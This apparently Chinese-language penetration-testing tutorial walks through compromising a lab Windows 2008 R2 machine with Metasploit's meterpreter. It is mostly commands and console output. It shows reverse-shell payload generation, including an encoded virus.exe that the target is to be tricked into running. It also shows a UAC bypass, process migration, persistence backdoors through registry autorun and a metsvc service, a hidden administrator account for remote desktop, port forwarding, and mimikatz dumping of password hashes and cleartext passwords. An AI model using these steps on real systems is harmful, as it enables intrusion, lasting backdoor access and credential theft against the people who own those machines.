meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1 [*] Running Persistance Script [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 [*] Persistent agent script is 148453 bytes long [+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [+] Agent executed with PID 4140 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
0x09 meterpreter绕过uac由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。 (1)生成一个 payload msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8 将以上生成的 payload 发送给目标机器并让其执行! (2)kali 上配置一个反弹会话处理程序 msf>use exploit/multi/handler msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.15.131 msf>set LPORT 4444 msf>exploit 这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php 当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。 (3)利用 getuid 和 getsystem 命令来提权 (4)进行UAC权限绕过 从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过! msf>use exploit/windows/local/ask msf>show options msf>set session 1 msf>exploit 当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限:
0x10 meterprter实战攻击windows2008r2x64攻击端: 被害端: (1)获取目标主机反弹shell 首先在Kali上生成meterpreter的payloa root@Kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2013 X > file.exe 接下来是配置监听: root@Kali:~# msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.111.129 msf exploit(handler) > set LPORT 2013 msf exploit(handler) > exploit 然后在Windows2008上执行file.exe,返回一个meterpreter [*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2013 -> 192.168.111.133:49168) at2014-03-13 22:23:18 +0800
meterpreter > meterpreter > getuid //查看当前权限 Server username: WIN-K30V5SI0PCEAdministrator meterpreter > ps //列出当前进程
Process List ============
PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System x86_64 0 244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32smss.exe 264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe 388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe 396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32wininit.exe 432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe 492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32services.exe 500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsass.exe 512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsm.exe 596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32conhost.exe 860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32cmd.exe 884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32sppsvc.exe 976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe 1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe 1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Program FilesVMwareVMware Toolsvmtoolsd.exe 1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe 1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32msdtc.exe 1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32taskhost.exe 2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32dwm.exe 2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Windowsexplorer.exe 2204 2428 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe 2312 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 2332 2044 file.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersAdministratorDesktopfile.exe 2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe 2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe 2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe
meterpreter > migrate 2044 //迁移到PID为2044的explorer进程 [*] Migrating from 2332 to 2044... [*] Migration completed successfully. meterpreter > meterpreter > ps
Process List ============
PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System x86_64 0 244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe 388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\csrss.exe 396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\wininit.exe 432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:\Windows\system32\winlogon.exe 492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\services.exe 500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsass.exe 512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\lsm.exe 596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\conhost.exe 860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\cmd.exe 884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\sppsvc.exe 976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\spoolsv.exe 1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:\Windows\system32\svchost.exe 1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:\Program Files\VMware\VMware Toolsvmtoolsd.exe 1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\svchost.exe 1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Program Files\VMware\VMware Toolsvmtoolsd.exe 1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\dllhost.exe 1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:\Windows\system32\msdtc.exe 1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\taskhost.exe 2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\system32\Dwm.exe 2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:\Windows\Explorer.EXE 2312 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 2428 492 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFramework64v2.0.50727\mscorsvw.exe 2588 492 mscorsvw.exe x86 0 NT AUTHORITYSYSTEM C:\Windows\Microsoft.NETFrameworkv2.0.50727\mscorsvw.exe 2972 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:\Windows\system32\svchost.exe 如上所示file.exe进程已经没了。需要注意的是如果存在杀软的话可能会阻止进程注入 meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-K30V5SI0PCE is a Virtual Machine ..... [*] This is a VMware Virtual Machine 我的2008是装在VMWare上的 meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent -L <opt> Location in target host where to write payload to, if none %TEMP% willbe used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back 执行: meterpreter > run persistence -X -i 10 -p 2241 -r 192.168.111.129 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-K30V5SI0PCE_20140313.5419/WIN-K30V5SI0PCE_20140313.5419.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2241 [*] Persistent agent script is 148439 bytes long [+] Persistent Script written to C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs [*] Executing script C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs [+] Agent executed with PID 2916 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ [+] Installed into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ 现在退出服务器,重新配置监听器 msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.111.129 msf exploit(handler) > set LPORT 2241 msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.111.129:2241 [*] Starting the payload handler... [*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2241 -> 192.168.111.133:49159) at2014-03-13 23:01:55 +0800 如图,反弹成功,这个被动型的后门在某些特殊的场合会是个不错的选择 meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\ADMINI~1\AppData\LocalTemp\HzWbqqRpuBlxn... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service Service metsvc successfully installed.
metsvc后门安装成功,接下来是连接 root@Kali:~# msfconsole , , / ((__---,,,---__)) (_) O O (_)_________ _ / | o_o M S F | _____ | * ||| WW||| ||| |||
Using notepad to track pentests? Have Metasploit Pro report on hosts, services, sessions and evidence -- type 'go_pro' to launch it now.
=[ metasploit v4.8.1-2013120401 [core:4.8 api:1.0] + -- --=[ 1239 exploits - 755 auxiliary - 207 post + -- --=[ 324 payloads - 31 encoders - 8 nops
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/metsvc_bind_tcp msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf exploit(handler) > set RHOST 192.168.111.133 msf exploit(handler) > set LPORT 31337 msf exploit(handler) > exploit [*] Started bind handler [*] Starting the payload handler... [*] Meterpreter session 1 opened (192.168.111.129:49313 -> 192.168.111.133:31337) at2014-03-13 23:12:54 +0800 meterpreter > 方法三:这个是类似于添加账户3389远程连接 meterpreter > run getgui -u zero -p haizeiwang123_ [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Setting user account for logon [*] Adding User: zero with Password: haizeiwang123_ [*] Hiding user from Windows Login screen [*] Adding User: zero to local group 'Remote Desktop Users' [*] Adding User: zero to local group 'Administrators' [*] You can now login with the created user [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140314.4134.rc meterpreter > (5).端口转发 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> The local host to listen on (optional). -h Help banner. -l <opt> The local port to listen on. -p <opt> The remote port to connect to. -r <opt> The remote host to connect to.
meterpreter > portfwd add -L 1234 -p 3389 -r 192.168.111.133 [-] You must supply a local port, remote host, and remote port. meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.111.133 [*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.111.133:3389 meterpreter > 接下来运行 rdesktop -u zero -p haizeiwang123_ 127.0.0.1:1234 (6).获取密码 meterpreter > ps
...... 2000 472 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe 2264 1832 explorer.exe x86_64 2 WIN-K30V5SI0PCEzero C:Windowsexplorer.exe 2292 2264 vmtoolsd.exe x86_64 2 WIN-K30V5SI0PCEzero C:Program FilesVMwareVMware Toolsvmtoolsd.exe 2520 372 FfBoPtYGlNj.exe x86 1 WIN-K30V5SI0PCEAdministrator C:UsersADMINI~1AppDataLocalTemp1rad87A98.tmpFfBoPtYGlNj.exe 2780 2256 winlogon.exe x86_64 2 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe 3028 880 dwm.exe x86_64 2 WIN-K30V5SI0PCEzero C:WindowsSystem32dwm.exe
meterpreter > migrate 2780 [*] Removing existing TCP relays... [*] Successfully stopped TCP relay on 0.0.0.0:1234 [*] 1 TCP relay(s) removed. [*] Migrating from 1428 to 2264... [*] Migration completed successfully. [*] Recreating TCP relay(s)... [*] Local TCP relay recreated: 0.0.0.0:1234 <-> 192.168.111.133:3389 meterpreter > load mimikatz Loading extension mimikatz...success. meterpreter > 获取密码哈希: meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials ===============
AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;339062 NTLM WIN-K30V5SI0PCE Administrator lm{ 179b3f1af1324ade301c14040883a0d8 }, ntlm{ 358c0a328bdf6b42185ca0a1773fb0be } 0;593431 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad } 0;593459 NTLM WIN-K30V5SI0PCE zero lm{ bc61a4bbe791e26298911297f380ff1b }, ntlm{ 880be0798a0d1caebdf913bfcc28e1ad } 0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO) 0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO) 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;47971 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ n.s. (Credentials KO) 获取明文密码 meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ====================
AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;999 NTLM WORKGROUP WIN-K30V5SI0PCE$ 0;996 Negotiate WORKGROUP WIN-K30V5SI0PCE$ 0;47971 NTLM 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;995 Negotiate NT AUTHORITY IUSR 0;339062 NTLM WIN-K30V5SI0PCE Administrator ceshimima123_ 0;593459 NTLM WIN-K30V5SI0PCE zero haizeiwang123_ 0;593431 NTLM WIN-K30V5SI0PCE zero haizeiwang123_
|